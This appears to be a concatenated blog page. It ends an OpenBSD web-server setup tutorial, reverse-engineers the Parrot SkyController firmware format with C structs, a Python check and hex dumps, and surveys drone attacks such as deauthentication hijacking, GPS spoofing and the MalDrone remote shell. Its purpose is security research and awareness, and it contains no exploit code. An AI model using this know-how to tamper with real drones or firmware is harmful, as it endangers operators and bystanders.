/etc/rc.d/httpd-frestart and
/etc/rc.d/php56-fpm start . Hopefully, you will get “httpd(ok)” and “php56_fpm(ok)”. Otherwise, you may have introduce a typo in your configuration files or some packages may have not downloaded/installed properly.

Wrapping Up

One last thing we will do before calling it quit for today, is to make sure the httpd, php56-fpm and mysqld services are started on bootup of OpenBSD. To do so create a new rc.conf.local file in /etc/ using
vi/etc/rc.conf.local and type the following in it:

At startup, OpenBSD will use this file to initiate the services and the PKG_PATH environment variable. You will not have to use the
-f anymore when restarting the httpd daemon.

Conclusion

So in this post, we have enabled a HTTPS web server, along with a MariaDB and PHP, allowing use to serve dynamic content on a OpenBSD 6.0 machine. At this point, you should be able to host basic dynamic content. However, if you try to install more complex web applications, you will need an extra few steps in many cases. Sometimes, you will need additional packages and extra work to connect to the database via your web application. In the next tutorial, we will install WordPress to show some of the difficulties you may encounter with the chroot jail and file permissions of the web root.

Introduction

The Parrot SkyController is a remote control sold for long range flights with the Parrot Bebop drone, sometimes used in the real estate sector. It enables integration of smartphones and tablets for flight control via Wifi connection, allowing transmission of real-time data from the drone. In other words, the SkyController acts as an intermediate between the flight management software (smartphone/tablet) and the actual drone. In this post, we explain how to reverse the firmware of the SkyController to be able o view the contents of the internal operating system and understand its inner workings. A lot of the information provided is based on [1] and is applied on this specific firmware. Code is provided along this post that will extract files and information from the SkyController firmware.

The Parrot SkyController Device (taken from the Parrot Store)

Contents

The firmware of the Parrot Skycontroller appears to be a well-defined format which is reused across multiple products from the company. The firmware contains 2 types of structures the header and a sequence of “data entries”. The header is located at the beginning of the file and is followed by multiple entries which contains configuration and file system information. We will look at both structures in the following sections.

Header

The firmware header starts with four magic bytes which spells out “PLF!”. These can therefore be used to identify valid Parrot firmware files. A quick Python snippet is included below as an example.

Check for PLF Magic Bytes (Python)

Python

1

2

3

4

5

defis_valid_parrot_file(self,_file):

magic=None

withopen(_file,“rb”)asf:

magic=struct.unpack("4s",f.read(4))[0]

returnmagic==b'PLF!'

Immediately after the magic bytes, a sequence of thirteen 32-bit unsigned integers provides additional information about the firmware. Defined as a C structure, the header would look something like this:

Parrot Firmware Header Structure (C)

C

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

typedefstructsPLFFile{

u32 dwMagic;

u32 dwHdrVersion;

u32 dwHeaderSize;

u32 dwEntryHeaderSize;

u32 uk_0x10;

u32 uk_0x14;

u32 uk_0x18;

u32 uk_0x1C;

u32 uk_0x20;

u32 dwVersionMajor;

u32 dwVersionMinor;

u32 dwVersionRevision;

u32 uk_0x30;

u32 dwFileSize;

}

The header version specify the type of format used for the firmware header. Within the SkyController firmware, the value for this field was “0x0D”, possibly indicating that there are 14 variations of header formats. The header size provides the number of bytes included in the header while the entry header size specifies the number of bytes in headers of entries within the firmware. The next 5 integers are undefined at the moment, as is the before-last integer. One of them is likely a CRC32 checksum. The dwVersionMajor, dwVersionMinorand dwVersionRevisiondefines the version of the firmware. Lastly, the header contains the size of the file in bytes.

Entries

Each entry has a header of constant size, which is specified within the firmware header by the dwEntrySize value. In the SkyController, each entry is composed of 20 bytes used as follows:

Parrot Firmware Entry Structure (C)

1

2

3

4

5

6

7

typedefstructsPLFEntryTag{

u32 dwSectionType;

u32 dwEntrySize;

u32 dwCRC32;

u32 uk_0x0C;

u32 dwUncompressedSize;

}

The section type specify the type of data contained within the entry. This can be configuration data, partition details or file information. These will be explained in further details in the sections below. The entry size contains the number of bytes within the entry, without consideration for null-byte padding. This field is followed by a CRC32 value. It’s unclear at this point how this value is calculated. The last known integer is the size of the data once uncompressed. If this value is 0, then the contents are not compressed. Each type of entry have further fields defined, and these are explained below.

Firmware Entries

There are multiple types of entries within the firmware. In this section we will describes the one we came across in the file we have analyzed.

Bootloader and Boot Configuration (0x03, 0x07)

Entry 0x03 contains a binary file which appears to be the bootloader of the system based on strings contained within, however more analysis will be required to understand how it actually works. In the SkyController, a PLF file was observed, but within that PLF file, this entry had binary data. Similarly, entry 0x07 also appears to be related to the boot process as shown by the string “ecos-bootloader-p7-start-246-ge30badf”, “ecos” referring to the eCos operating system.

eCos String within Bootloader (Hex)

Assembly (x86)

1

2

3

40:7D40h:280110000000000065636F732D626F6F(.......ecos-boo

40:7D50h:746C6F616465722D70372D7374617274tloader-p7-start

40:7D60h:2D3234362D6765333062616466000000-246-ge30badf...

File System Data (0x09)

There is a “File System Data” entry for each file contained in the firmware. As such, this entry is the most common one. Depending on whether the file is compressed or not, the structure of this entry is slightly different: when its contents are uncompressed, this entry starts with the filename (or directory name), which is a zero-terminated string. The name is then followed by 3 unsigned integers.

Parrot Firmware Entry Structure (C)

C

1

2

3

4

5

typedefstructsFileEntryTag{

u32 dwFlags;

u32 uk_0x04;

u32 uk_0x08;

}sFileEntry;

The first integer contains flags specifying the type of file, which can be a directory, a normal file or a symbolic link. This is specified by reading the bits 12 to 15. The 12 other bits contains the permissions of the file. Converted into octal form, the last 12 bits will provide the same format as the one used in Linux. For example:

Extracting File Permissions from the Firmware Entry

When compressed, the flags are within the Gzip-compressed data. The data must therefore be first uncompressed and then, the same procedure applies: the filename will be a null-terminated string right at the beginning, followed 3 unsigned integers, the first containing the type and permissions. The remaining bytes are the content of the file. In the example below, the filename is system/pulsar/etc/boxinit.hosted. The flags are 0x000081A0 (little-endian) and the contents of the file starts at 0x32.

1

2

3

4

5

6

7

8

9

0000000073797374656d2f70756c7361722f6574|system/pulsar/et|

00000010632f626f78696e69742e686f73746564|c/boxinit.hosted|

0000002070632e726300a0810000000000000000|pc.rc...........|

00000030000023202d2a2d206d6f64653a736820|..# -*- mode:sh |

000000402d2a2d0a2320546869732066696c6520|-*-.# This file |

0000005073686f756c6420636f6e7461696e2063|should containc|

000000606f6d6d616e64732076616c6964206f6e|ommands valid on|

000000702061204c696e757820504320706c6174|aLinux PC plat|

00000080666f726d0a0a6f6e206561726c792d66|form..on early-f|

Partition Data (0x0B)

The 0x0B entry contains information about partitions on the device.The header of this entry is composed of 10 values. The first 4 integers are version information, the next 5 ones are unknown and the last unsigned integer is the number of partitions defined within the entry.

Parrot Firmware Partition Section Struture (C)

C

1

2

3

4

5

6

7

8

9

10

11

12

typedefstructsPartitionSectionTag{

u32 dwTblVersion;

u32 dwVersionMajor;

u32 dwVersionMinor;

u32 dwVersionBugfix;

u32 uk_0x10;

u32 uk_0x14;

u32 uk_0x18;

u32 uk_0x1C;

u32 uk_0x20;

u32 dwNumEntries;

}

For each partition defined within the entry, a sub entry is available which contains further information about the partition: the device ID, volume data and the mount point on the target device. The defining structure for this entry are:

Parrot Firmware Partition Entry Structure (C)

C

1

2

3

4

5

6

7

8

9

10

typedefstructsPartitionEntryTag{

u16 wDevice;

u16 wVolumeType;

u16 wVolume;

u16 uk_0x06;

u32 dwVolumeSize;

u32 wVolumeAction;

u8cVolumeName[32];

u8cMountName[32];

}sPartitionEntry;

Volume type can be either RAW, STATIC and DYNAMIC. A raw partition contains no file systems, for example swap partitions. Static partitions are read-only, such as the boot partition and finally, the dynamic partitions are read-write and contains modifiable files.

Installation Data (0x0C)

This entry was included early in the file and contained another PLF file within its data. This PLF file contained a 0x00 entry, which is unknown, a 0x03 entry and a 0x07 entry. The 0x07 entry contained boot options:

1

2

3

4

5

6

7

8

9

10

11

12

40:7894h:070000009F00000056790ABF00007080....Ÿ...Vy.¿..p€

40:78A4h:000000006D746470617274733D6E616E....mtdparts=nan

40:78B4h:64303A384D2850626F6F746C6F616465d0:8M(Pbootloade

40:78C4h:72292C31364D28506D61696E5F626F6Fr),16M(Pmain_boo

40:78D4h:74292C384D2850666163746F7279292Ct),8M(Pfactory),

40:78E4h:384D2850637573746F6D65725F70726F8M(Pcustomer_pro

40:78F4h:64292C313030373130344B2850737973d),1007104K(Psys

40:7904h:74656D292C3531324B28506D74646F6Ftem),512K(Pmtdoo

40:7914h:70732920636F6E736F6C653D74747950ps)console=ttyP

40:7924h:41332C313135323030206C6F676C6576A3,115200loglev

40:7934h:656C3D382070696E73743A7570646174el=8pinst:updat

40:7944h:65200000e..

Conclusion

I have upload a Python program [2] which will extract information and files from the SkyController firmware here. It also successfully extracted files for a Bebop2 firmware and I suspect it will work for other recent firmware. With additional work, it may reverse older ones. Repacking an unpacked firmware should be doable, but I do not have any of the device to test it out. Before doing so, determining how the CRC value for the header and each entry is calculate is required. Future work would include testing additional firmware files and implementing the program to repack an unpacked and modified firmware. Finally, reading the eCos documentation may clarify many of the unidentified values.

Airborne cyber attacks against drones have been conducted by hackers, criminals and state-sponsored actors. Unmanned Aerial Vehicles (UAVs) – also known as “drones” – are gaining popularity in many sectors of society. Pioneered by the military, law enforcement as well as criminals have used them. Hobbyists gather to race while retail stores will soon ship purchases with these. To reach the market quickly, security is often an afterthought. Vendors and operators underestimate the intent and capability of hackers to target their products. Thus researchers took up the challenge of showing their vulnerabilities. Reviewing current security issues and past incidents highlight the issues and their solutions before critical failures in drones causes harm. However before doing so, let’s quickly study the basic inner workings of drones.

Drones: How do they work?

Drones range from the highly complex multi-million dollars military aircraft to the toy models available for a hundred dollars. Despite this disparity, their overall architecture can be divided into 1) the aircraft and 2) the ground station. The aircraft regroups sensors and controllers needed to fly while the ground station includes software and hardware to send commands wirelessly. The ground station includes wireless transceivers, flight planning software, aircraft maintenance applications and the operators. The aircraft hosts the flight controller which processes data from sensors, avionics, communications, autopilot systems and in some cases, weapons.

Drone Command and Control Diagram

Operators send navigation commands via a Remote Controller (RC), which relay information via a Line-of-Sight (LOS) communication channel. In low-end drones, standard wireless networking protocols are used while higher-end ones leverage satellite communications. Data from the ground station is transmitted to receivers or the aircraft and processed by the flight controller. The controller manages the outputs from various sensors including the GPS receiver, camera and propellers. Audiovisual data is relayed to the ground station via a second communication channel or stored on removable medias. Predefined routes can be programmed using flight planning software to make the aircraft autonomous.

Cyberattacks against Drones

Communication channels are the obvious attack vector. Unfortunately calls for encryption are often downplayed and proprietary protocols, despite some may believe, are not safe from reverse engineering and hijacking. In 2009, Iraqi militants found out that unencrypted videos feed from U.S. drones were available by pointing a satellite receiver towards the drone, greatly compromising operational effectiveness. While secure channels are critical, weak encryption is as good as no encryption. It was discovered in 2015 that scrambled video feeds between Israeli UAVs and ground stations were easily decrypted using open-source software. An attacker only required knowledge of the proper frequencies. That being said, even good encryption is no remedy when employed with vulnerable key management systems. A fact rarely discussed by security vendors pitching solutions.

Lower end drones have been hacked via known vulnerabilities in wireless networking protocols. SkyJack is an air-to-air network attack drone that detects surrounding wireless connections of vulnerable drones and reroutes them to itself, allowing the remote operator to to hijack the target. This deauthentification technique used is similar to the one seen against home wireless networks. Other attacks included cracking WEP networks between the flight planning software and the remote controller, allowing the intruder to issue commands to the remote controller.

Communicational channels are not the only weak points. Drones require information from their environment in order to navigate. The information is captured by the sensors and transmitted to the flight controller for processing. Therefore providing invalid inputs to the sensors will disrupt the aircraft. Invalid GPS data is one of the explanation for the unexpected landing of a U.S. RQ-170 sentinel in Iran. The Iranian military maintain they spoofed GPS data by broadcasting stronger signals than the ones from valid GPS satellites. By doing so they forced the sentinel to land. Such an attack was proven possible on other models. The second theory is that an internal malfunction forced an emergency landing. In either case, this incident highlighted two issues: implicit trust of sensory data sources and unexpected effects of internal errors.

Security is not only about networks; it’s also about robustness of the internal software. MalDrone is a malware compiled for ARM Linux which allows to spawn a remote shell on the target drone. The attacker intercepts an unencrypted channel between the ground station and a vulnerable aircraft to upload the malware, allowing direct access to the operating system (OS). An alternative tactic could aim to modify the firmware of the flight controller or sensors. Users rarely validate the integrity of the firmware downloaded online, allowing backdoors to be injected via man-in-the-middle attacks. Hackers may leverage social engineering to send malicious updates or exploit a vulnerability to execute arbitrary code and gain remote access to the drone. Like many Internet-of-Things (IoT) devices, drones are seldom updated by their owners and could remain vulnerable for a long period of time.

Conclusion

As drones continue to find increased usage in civil society, they will be subjected to further analysis. Engineers and operators should never underestimate both the capability and intent of malicious actors to target their product either for fun, profit or other malicious goals. Lessons learned by the software industry remain mostly unimplemented:; lack of secure communications, no firmware integrity validation, loose or absent security controls and slow patching of critical vulnerabilities. The success of the Mirai botnet is a result of these failings and drones are not exempt. Unlike the distributed denial of service observed, compromised drones may raise safety concerns and must therefore be secured.